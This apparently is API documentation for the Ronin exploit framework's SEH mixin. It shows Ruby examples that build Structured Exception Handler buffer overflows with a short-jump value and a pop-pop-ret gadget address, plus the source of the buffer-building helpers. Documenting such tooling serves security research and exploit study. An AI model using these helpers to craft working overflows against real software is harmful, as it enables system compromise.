Module: Ronin::Exploits::Mixins::SEH
Overview
Methods for building Structured Exception Handler (SEH) buffer overflows.
Example
include Mixins::SEH
def build
nseh = 0x06eb9090 # short jump 6 bytes
seh = 0x1001ae86 # pop pop ret 1001AE86 SSLEAY32.DLL
buffer = seh_buffer_overflow(length: 1024, nops: 16, payload: payload, nseh: nseh, seh: seh)
# ...
end
If you want more control over how the buffer is constructed:
include Mixins::SEH
def build
nseh = 0x06eb9090 # short jump 6 bytes
seh = 0x1001ae86 # pop pop ret 1001AE86 SSLEAY32.DLL
buffer = junk(1024) + seh_record(nseh,seh) + nops(16) + payload
# ...
end
Constant Summary
Constants included from NOPS
Instance Method Summary collapse
-
#seh_buffer_overflow(length:, nops: nil, payload:, nseh:, seh:) ⇒ String
Builds a SEH buffer overflow.
-
#seh_record(nseh, seh) ⇒ String
Creates a SEH record.
Methods included from NOPS
#nop, #nops, #perform_validate
Methods included from Binary
#pack, #perform_validate, #platform
Methods included from Text
Instance Method Details
#seh_buffer_overflow(length:, nops: nil, payload:, nseh:, seh:) ⇒ String
Builds a SEH buffer overflow.
121 122 123 124 125 126 127 128 129 130 131 132 133 |
# File 'lib/ronin/exploits/mixins/seh.rb', line 121 def seh_buffer_overflow(length: , nops: nil, payload: , nseh: , seh: ) payload = payload.to_s payload = self.nops(nops) + payload if nops seh_record = self.seh_record(nseh,seh) buffer = String.new(encoding: Encoding::ASCII_8BIT) buffer << junk(length - payload.bytesize - seh_record.bytesize) buffer << payload buffer << seh_record return buffer end |
#seh_record(nseh, seh) ⇒ String
Creates a SEH record.
87 88 89 |
# File 'lib/ronin/exploits/mixins/seh.rb', line 87 def seh_record(nseh,seh) pack(:machine_word,nseh) + pack(:machine_word,seh) end |